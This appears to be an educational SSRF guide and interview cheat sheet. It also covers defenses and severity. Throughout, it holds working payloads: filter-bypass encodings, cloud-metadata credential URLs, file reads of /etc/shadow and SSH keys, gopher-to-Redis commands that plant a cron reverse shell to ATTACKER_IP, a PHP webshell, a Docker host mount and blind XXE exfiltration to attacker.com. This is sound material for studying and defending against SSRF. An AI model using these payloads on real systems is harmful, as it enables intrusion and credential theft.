On this page
apsyleg1 min read
#ssrf #cloud #filter-bypass #rce #web-security

Server-Side Request Forgery (SSRF)

SSRF is a vulnerability where the server makes an HTTP/TCP request to a URL controlled by the attacker. The attacker doesn't hit the target directly — they make the server do it for them.

1. What Is SSRF

Attacker → Vulnerable Server → Internal Resource
                  ↑
          "Go fetch this URL"

The key difference from a normal request: the server sits inside the network perimeter and has access to resources that are unreachable from outside — internal APIs, cloud metadata, databases, orchestration systems.

The server acts as a proxy — with its IP address, its network permissions, its session cookies to internal services. A single SSRF can turn into leaked IAM keys, arbitrary file reads, or full RCE through internal services.


2. Where to Look for SSRF

Obvious Entry Points

  • File/image upload by URL (url=, src=, image_url=)
  • Avatar upload by link
  • Data import by URL (RSS, XML, CSV)
  • Webhooks — user supplies a URL for callbacks
  • Link previews (like Slack, Telegram, messengers)

Less Obvious Entry Points

  • PDF/HTML generation — wkhtmltopdf, Puppeteer, WeasyPrint render HTML and fetch resources. Payloads inside HTML that gets converted to PDF:
    <iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
    <img src="http://internal-service:8080/admin">
    <link rel="stylesheet" href="http://169.254.169.254/latest/user-data">
    <script>fetch('http://169.254.169.254/...').then(r=>r.text()).then(d=>document.write(d))</script>
    
  • SOAP/XML parsing — external entities (XXE → SSRF), details: XXE
  • API integrations — user specifies a third-party service endpoint
  • SVG, DOCX, XLSX uploads — XML inside with potential external entities
  • URL availability checks / health checks
  • Server-side redirects

Parameters to Look For

url=, uri=, path=, src=, dest=, redirect=, link=, feed=,
callback=, next=, target=, rurl=, domain=, endpoint=,
proxy=, page=, load=, fetch=, site=, html=, val=, view=

Headers

  • Referer — some applications follow the Referer for analytics
  • X-Forwarded-Host / Host — less common, but possible with improper handling

3. Types of SSRF

Non-blind (Classic) SSRF

The response from the internal service comes back to the attacker — fully or partially.

GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

Response: ami-id, instance-id, iam/security-credentials/...

Blind SSRF

The response is not returned. Ways to confirm and exploit:

TechniqueHow It Works
OOB (out-of-band)Request to Burp Collaborator / interactsh — watch for DNS/HTTP callback
TimingOpen port responds fast, closed port — timeout. Response time difference
Error differencesDifferent HTTP codes or messages for different internal responses
Side effectsSSRF to an internal API that changes something (deletion, restart)

Partial SSRF

Response comes back but is truncated or filtered — you only see the status code, Content-Length, or headers.


4. Protocols (Schemes)

http:// and https://

The baseline vector. Requests to internal web services and APIs.

file://

Reading local files:

file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ        — environment variables (may contain secrets)
file:///proc/self/cmdline        — process startup arguments
file:///home/user/.ssh/id_rsa    — private SSH keys
file:///var/www/html/config.php  — application config files
file:///root/.bash_history       — command history

On Windows:

file:///C:/Windows/win.ini
file:///C:/Users/Administrator/.ssh/id_rsa

gopher://

The most powerful protocol for SSRF. Lets you send arbitrary bytes into a TCP connection.

Format: gopher://host:port/_<url-encoded data>

  • _ — first character after /, gets ignored
  • %0D%0A\r\n (line break)
  • All special characters are URL-encoded

Lets you interact with any TCP service: Redis, SMTP, MySQL, FastCGI, Memcached.

dict://

Format: dict://host:port/command

Used for:

  • Sending single commands to Redis/Memcached
  • Port scanning

Limitation: sends only one line, not suitable for complex command chains.

Others

  • ftp:// — FTP interaction, bounce attacks
  • sftp://
  • ldap:// / ldaps:// — queries to LDAP servers
  • tftp:// — UDP-based
  • jar:// — Java-specific, can load remote files

5. Filter Bypass

Bypassing IP Blacklists (127.0.0.1, localhost)

Alternative localhost notations:

http://127.1
http://127.0.1
http://127.000.000.001
http://0
http://0.0.0.0

Decimal:

http://2130706433        → 127.0.0.1

Conversion: 127×256³ + 0×256² + 0×256¹ + 1 = 2130706433

Hex:

http://0x7f000001
http://0x7f.0x0.0x0.0x1

Octal:

http://0177.0.0.01
http://017700000001

IPv6:

http://[::1]
http://[0000::1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]

Domains that resolve to 127.0.0.1:

http://localtest.me
http://vcap.me
http://127.0.0.1.nip.io
http://spoofed.burpcollaborator.net   (your own Collaborator with DNS)

Bypassing Domain Whitelists

URL parsing (discrepancies between the parser and the HTTP client):

http://allowed.com@attacker.com       — userinfo part of the URL
http://attacker.com#allowed.com       — fragment
http://attacker.com?q=allowed.com     — query string
http://allowed.com.attacker.com       — subdomain

Open redirect:

http://allowed.com/redirect?url=http://169.254.169.254/

If there's an open redirect on the allowed domain — use it as an intermediate hop.

Encoded characters:

http://allowed.com%00@attacker.com    — null byte
http://allowed.com%2F%2Fattacker.com

Bypassing Scheme Filters

gopher://  → Gopher://  → GOPHER://   (case-insensitive)
file://    → File://

Bypass via Redirect

If the server follows HTTP redirects:

  1. First URL passes the filter: http://attacker.com/redirect
  2. Attacker returns 302 Location: http://127.0.0.1/admin
  3. Server follows the redirect → filter no longer checks

You can switch schemes via redirect:

http://attacker.com/redirect → gopher://127.0.0.1:6379/...

DNS Rebinding

Problem: server resolves DNS and checks the IP before making the request.

Bypass:

  1. evil.com → first DNS response: 1.2.3.4 (external, passes validation)
  2. Server validates — OK
  3. Second DNS query (for the connection): evil.com127.0.0.1
  4. Request goes to localhost

Setup: your own DNS with TTL=0, alternating responses. Tools: rbndr.us, Singularity of Origin.

TOCTOU (Time-of-Check to Time-of-Use)

DNS rebinding is a specific case of the broader TOCTOU pattern: between the moment of check (DNS resolve → IP is OK) and the moment of use (HTTP request), the state changes. This matters because TOCTOU isn't limited to DNS — for example, if an application validates a URL, stores it, and uses it later, an intermediate redirect on that URL could change.

SSRF + CRLF Injection

If you can inject \r\n (CRLF) into the URL, you can add arbitrary HTTP headers to the request the server makes:

http://internal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A

This lets you bypass defenses like IMDSv2 that require special headers. If the server's HTTP client doesn't sanitize CRLF in the URL — you control the request headers.


6. Cloud Metadata — The Primary Target

AWS (IMDSv1)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data

The main prize — IAM credentials:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalr...",
  "Token": "IQoJb3...",
  "Expiration": "2026-04-18T12:00:00Z"
}

With these keys → access to S3, EC2, Lambda, DynamoDB, etc.

IMDSv2 (defense):

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
        → Get a token

Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: <token>

A simple GET-based SSRF won't work — you need PUT + a custom header. But if the SSRF lets you control the method and headers (or there's CRLF injection) — IMDSv2 can be bypassed too.

GCP

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

Requires header: Metadata-Flavor: Google — but you can inject it via gopher.

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Requires header: Metadata: true

DigitalOcean

http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data

Kubernetes

If the server runs inside a Kubernetes Pod:

# Service account token (authentication to the cluster API)
file:///var/run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes API — secrets of the entire namespace
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

# Kubelet read-only API — Pod information
http://localhost:10255/pods

# etcd — the store for all cluster state
http://localhost:2379/v2/keys/

# Kubernetes environment variables
file:///proc/self/environ

Service account token + Kubernetes API = potentially full access to the cluster, secrets, and other services.


7. Paths to RCE via SSRF

Redis (Port 6379)

Unauthenticated Redis + gopher = arbitrary file writes.

Vector 1 — Crontab (Linux):

gopher://127.0.0.1:6379/_
SET shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE

→ Reverse shell via cron every minute.

Vector 2 — Webshell:

SET shell "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE

→ Webshell at http://target.com/shell.php?cmd=id

Vector 3 — SSH authorized_keys:

SET ssh "\n\nssh-rsa AAAAB3... attacker@box\n\n"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE

→ SSH access without a password.

Tool: Gopherus auto-generates gopher payloads for Redis.

PHP-FPM / FastCGI (Port 9000)

PHP-FPM executes PHP code on demand via the FastCGI protocol.

Attack:

  1. Craft a FastCGI packet via gopher
  2. Point to an existing .php file (e.g., /var/www/html/index.php)
  3. Set PHP_VALUE: auto_prepend_file = php://input
  4. Body — <?php system("id"); ?>
  5. PHP-FPM executes the code → RCE without writing files

Tool: Gopherus → FastCGI payload.

SMTP (Port 25)

Not RCE, but useful:

gopher://127.0.0.1:25/_
HELO attacker.com%0D%0A
MAIL FROM:<attacker@evil.com>%0D%0A
RCPT TO:<admin@target.com>%0D%0A
DATA%0D%0A
Subject: Test%0D%0A
Phishing email body%0D%0A
.%0D%0A
QUIT

→ Sending email on behalf of the internal server (for phishing, social engineering).

MySQL (Port 3306)

If MySQL has no password (empty root password in dev environments):

  • Craft a MySQL authentication packet via gopher
  • Send an SQL query: SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'
  • → Webshell

Limitation: the MySQL protocol is binary and complex, doesn't always work.

Internal APIs Without Authentication

Many internal services trust requests from the internal network:

  • Kubernetes API (http://kubernetes.default.svc)
  • Docker API (http://127.0.0.1:2375)
  • Consul, etcd, Elasticsearch
  • Admin panels (Jenkins, Grafana, Kibana)

Docker API → RCE:

POST http://127.0.0.1:2375/containers/create
Body: {"Image":"alpine","Cmd":["sh"],"Binds":["/:/mnt"]}

→ Mount the host filesystem into a container → full access.

Chain: SSRF → Cloud Keys → Full Compromise

  1. SSRF → 169.254.169.254 → IAM credentials
  2. With the keys: aws s3 ls, aws ec2 describe-instances
  3. Look for S3 buckets with secrets, databases, other instances
  4. Lateral movement across the cloud infrastructure

8. SSRF via XXE

XML parsers process external entities — this gives you SSRF + file reads.

Basic XXE → SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Blind XXE → OOB Exfiltration

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

Where XXE Shows Up

  • APIs with Content-Type: application/xml
  • SVG uploads: <image xlink:href="http://internal/...">
  • DOCX/XLSX uploads (ZIP with XML inside)
  • SOAP endpoints
  • Sometimes you can switch Content-Type: application/json to application/xml

Detailed XXE breakdown → XXE (XML External Entities).


9. Chaining with Other Vulnerabilities

ChainHow It WorksImpact
SSRF → XXESSRF to an internal service that parses XMLFile reads, further SSRF
XXE → SSRFExternal entity with http:// URIAccess to internal services, cloud metadata
SSRF → SSTISSRF to an internal service that renders templatesRCE via template injection
SSTI → SSRFRCE via SSTI = you can make any requestsFull access to the internal network
SSRF → DeserializationSSRF to an internal Java/PHP service with deserializationRCE
SSRF + CRLFCRLF in URL → arbitrary headersIMDSv2 bypass, header injection
SSRF + Open RedirectRedirect on an allowed domain as a springboardWhitelist bypass

10. Testing Methodology

Step 1: Discovery

  • Find all parameters that accept URLs
  • Check for hidden parameters (Param Miner)
  • Review JS files for hidden endpoints
  • Check upload, import, and webhook features

Step 2: Confirmation

  • Insert a Burp Collaborator URL
  • If no callback arrives:
    • Try obfuscation, different schemes
    • Check DNS callback separately from HTTP
    • Compare timing: http://10.255.255.1 (non-routable) vs a normal URL
    • Possibly a firewall blocks outgoing — try internal addresses

Step 3: Determine the Type

  • Response visible → non-blind → read data
  • Only callback → blind → OOB/timing

Step 4: Bypass Filters

  • IP obfuscation (decimal, hex, octal, IPv6)
  • DNS tricks (your domain → 127.0.0.1, DNS rebinding)
  • URL parsing (@, #, %00)
  • Redirects
  • Scheme switching

Step 5: Escalation

1. http://169.254.169.254/...        → cloud credentials
2. file:///etc/passwd                → file reads
3. http://127.0.0.1:PORT             → port scanning
4. gopher://127.0.0.1:6379/...       → Redis → RCE
5. gopher://127.0.0.1:9000/...       → FastCGI → RCE
6. http://127.0.0.1:2375/...         → Docker API → RCE
7. http://kubernetes.default.svc/... → K8s API → cluster secrets

Hands-on exercise: SSRF with blacklist filter bypass (PortSwigger).


11. Defending Against SSRF

Application Level (Input Validation)

  1. Whitelist allowed domains/IPs — not a blacklist. Blacklists can always be bypassed (decimal, hex, IPv6, resolver domains).
  2. Whitelist schemes — only http:// and https://. Disable file://, gopher://, ftp://, dict://, and the rest.
  3. Restrict ports — allow only standard HTTP ports (80, 443, 8080, 8090). This prevents interaction with Redis (6379), MySQL (3306), FastCGI (9000).
  4. Validate IP after DNS resolution — resolve DNS → check that the IP is not private (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → connect to that same IP (don't re-resolve — otherwise TOCTOU/DNS rebinding).
  5. Validate domain names — check URL structure, don't trust user-supplied domains without a whitelist.
  6. Disable or validate redirects — better to disable. If the business requires them — validate every hop, not just the first URL. Common mistake: validating only the first step while the redirect goes through unchecked.
  7. Understand how your library handles addresses — different HTTP clients parse URLs differently. urllib in Python, curl in PHP, HttpClient in Java — each has its quirks with userinfo (@), fragments (#), null bytes.

Response Level (Output Filtering)

  1. Filter returned data — if the application expects a specific data type (JSON, image), verify format compliance before showing it to the user.
  2. Block response details — don't return the full internal service response to the user. Minimum information.
  3. Uniform error messages — standardize errors so you can't fingerprint internal ports and services through error message differences.

Infrastructure Level

  1. Network segmentation — the application server should not have access to arbitrary internal services. Firewall rules: only required ports and hosts.
  2. Restrict access to internal infrastructure — for servers potentially vulnerable to SSRF (those processing user-supplied URLs), limit outbound connections to the internal network.
  3. Isolation — if you can't remove the URL functionality, move it to a separate isolated network segment with minimal privileges.
  4. Metadata concealment — IMDSv2 (AWS), required headers (GCP: Metadata-Flavor, Azure: Metadata). But don't rely solely on this — CRLF injection or gopher can inject headers.

Common Mistakes

  • Blacklist instead of whitelist — can always be bypassed
  • Validating the URL string instead of the IP after resolution — DNS rebinding
  • Checking only the first URL — redirect bypasses it
  • Forgetting about IPv6, decimal, octal IP forms
  • Relying on "our library is safe" without testing specific behavior

12. Severity Assessment

SeverityConditions
CriticalCloud credentials, RCE (Redis/FastCGI/Docker), access to databases with data
HighFile reads (file://), non-blind access to internal network, access to internal APIs
MediumBlind SSRF, port scanning, limited protocols
LowExternal requests only, strict whitelist with minimal control

13. Tools

ToolPurpose
Burp CollaboratorConfirming blind SSRF (DNS/HTTP callback)
interactshFree alternative to Collaborator
GopherusGenerating gopher payloads for Redis, MySQL, FastCGI, SMTP
SSRFmapAutomating SSRF exploitation
Burp IntruderFuzzing parameters and bypassing filters
Param Miner (Burp extension)Finding hidden parameters

14. Notable Cases

Capital One (2019): SSRF → AWS metadata → IAM keys → S3 → leak of 106M records. $80M fine.

GitLab (CVE-2021-22214): SSRF via webhook validation, bypass through DNS rebinding.

Shopify (2018, Bug Bounty): SSRF via product import → GCP metadata. $15,000 bounty.

Microsoft Exchange — ProxyLogon (2021): SSRF + deserialization chain → RCE. Mass exploitation.


15. Q&A — Prep Questions

1. What is SSRF?

A vulnerability where the server makes a network request to an address controlled by the attacker. The server becomes a "proxy" — it sits inside the network perimeter and has access to resources unreachable from outside. The attacker doesn't hit the target directly but forces the server to do it, using the server's privileges and network position.

2. What features most often become SSRF entry points?

Any functionality where the server fetches a user-supplied URL: image/file upload by link, webhooks, link previews, data import (RSS/XML/CSV), PDF/HTML generation, integrations with external APIs. Less obvious points: XML parsing (XXE→SSRF), SVG/DOCX uploads, URL availability checks, server-side redirects.

3. Why is SSRF more dangerous than just "the server fetched the wrong thing"?

The server is in a trusted network zone. It can reach cloud metadata (169.254.169.254) and grab IAM keys — that's a path to fully compromising the cloud infrastructure. Internal services (Redis, Docker API, Kubernetes) often have no authentication for requests from the internal network. A single SSRF can turn into RCE, data leaks, or lateral movement across the entire infrastructure.

4. How does blind SSRF differ from "regular" SSRF?

With regular (non-blind) SSRF, the internal service's response comes back to the attacker — you can read data directly. With blind SSRF, the response is not visible. Confirmation and exploitation go through side channels: OOB callbacks (DNS/HTTP to your server), response time differences (open port is fast, closed port times out), error differences, or side effects of the request (e.g., data deletion via an internal API).

5. Where to look for hidden SSRF attack surface beyond the obvious url parameter?

Headers (Referer, X-Forwarded-Host), hidden parameters (Param Miner), PDF/HTML generators (Puppeteer/wkhtmltopdf fetch resources from HTML), XML parsers (XXE→SSRF), office documents (DOCX/XLSX contain XML with external entities), client-side JS files (may reveal hidden backend endpoints), server-side redirects.

6. Why doesn't "only localhost or internal network" access make SSRF safe?

Dozens of services run on localhost: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Many of them require no authentication for local connections. Unauthenticated Redis + gopher = arbitrary file writes → crontab → reverse shell. Docker API → create a container mounting the host filesystem → full control.

7. Why are simple regex URL validation and blocklists almost always unreliable?

The IP 127.0.0.1 can be written a dozen ways: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (::1, ::ffff:127.0.0.1), short forms (127.1, 0). There are domains that resolve to 127.0.0.1 (localtest.me, vcap.me). URL parsing has discrepancies: allowed.com@attacker.com, null bytes, fragment tricks. Regex doesn't account for all encoding variants and parsing inconsistencies.

8. Why are redirects and DNS so important in SSRF?

Redirects let you bypass first-URL validation: the filter checks http://allowed.com/redirect, which returns 302 to http://127.0.0.1/admin. Through redirects you can switch schemes (http → gopher). DNS rebinding exploits TOCTOU: at check time the domain resolves to an external IP (passes validation), at connection time — to 127.0.0.1. If the application doesn't validate every step and doesn't pin the IP after resolution — these bypasses work.

9. Why is SSRF especially dangerous in cloud and container environments?

Cloud providers expose a metadata service (169.254.169.254) with IAM keys, tokens, and configuration. IMDSv1 (AWS) serves keys on a simple GET — a perfect SSRF target. In Kubernetes, every Pod has a service account token, and the Kubernetes API is reachable via the DNS name kubernetes.default.svc. Docker API without TLS on port 2375 lets you create containers with host-system access. Dense service packing in containers increases the attack surface.

10. What does mature SSRF defense look like?

Three levels. Application: whitelist allowed domains and schemes (http/https only), validate IP after DNS resolution (not the URL string but the resolved IP — and use that same IP for the connection), disable or step-by-step validate redirects, understand the behavior of your specific HTTP library. Response: filter the format of returned data, standardize errors, minimize returned information. Infrastructure: network segmentation, IMDSv2/metadata headers, isolate SSRF-prone services in a separate segment.


16. Quick Review Cheat Sheet

SSRF = server fetches a URL the attacker controls

Where: url=, uploads, webhooks, PDF generation, XML parsing
Types: non-blind (see the response) / blind (don't see it)
Protocols: http, file, gopher, dict

Filter bypass:
  IP → decimal/hex/octal/IPv6/domains
  Domain → @, #, open redirect, DNS rebinding
  Scheme → case change, redirect
  TOCTOU → check and use happen at different times
  CRLF → arbitrary headers in the request

Targets:
  169.254.169.254 → cloud keys (AWS/GCP/Azure)
  file:///etc/passwd → files
  gopher → Redis/FastCGI → RCE
  Docker API (2375) → RCE
  Kubernetes API → cluster secrets
  Service account token → /var/run/secrets/kubernetes.io/...

Defense:
  Application: whitelist domains/schemes, validate IP after resolve, control redirects
  Response: format filtering, uniform errors, minimal data
  Infrastructure: segmentation, IMDSv2, isolation

Severity: RCE/cloud keys = critical, files/internal network = high, blind = medium